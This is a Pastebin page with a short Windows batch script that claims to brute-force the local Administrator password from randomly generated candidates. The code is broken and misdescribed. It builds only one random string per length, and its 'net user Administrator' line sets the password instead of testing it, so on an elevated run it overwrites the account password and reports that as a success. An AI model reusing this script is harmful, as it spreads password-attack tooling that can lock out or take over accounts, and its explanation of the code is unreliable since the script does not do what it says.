Advertisement
FlyFar

custom-length-pass-cracker

Oct 26th, 2023
1,100
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Batch 1.01 KB | Cybersecurity | 0 0
  1. @echo off
  2. setlocal EnableDelayedExpansion
  3.  
  4. set /p maxlength=Define the maximum length of the password:
  5.  
  6. REM Define the characters to use in the password
  7. set CHARS=0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ
  8.  
  9. REM Define the maximum length of the password
  10. set MAXLEN=%maxlength%
  11.  
  12. REM Generate a list of all possible passwords
  13. for /L %%n in (1,1,%MAXLEN%) do (
  14.   set "COMBINATION="
  15.   for /L %%i in (1,1,%%n) do (
  16.     set /a "INDEX=!random! %% 62"
  17.     set "COMBINATION=!COMBINATION!!CHARS:~!INDEX!,1!"
  18.   )
  19.   echo !COMBINATION!>>passwords_to_try.txt
  20. )
  21.  
  22. REM Try each password in the list
  23. for /F "tokens=*" %%p in (passwords_to_try.txt) do (
  24.   echo Trying password: %%p
  25.   net user Administrator %%p >nul 2>&1
  26.   if not errorlevel 1 (
  27.     echo Password found, this will also be in a text file (found_password.txt): %%p
  28.     echo %%p>>found_password.txt
  29.     goto :done
  30.   )
  31. )
  32.  
  33. :done
  34. echo Password brute-forcing complete.
  35.  
  36. REM Delete the passwords_to_try.txt file
  37. del passwords_to_try.txt
  38.  
  39. pause
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement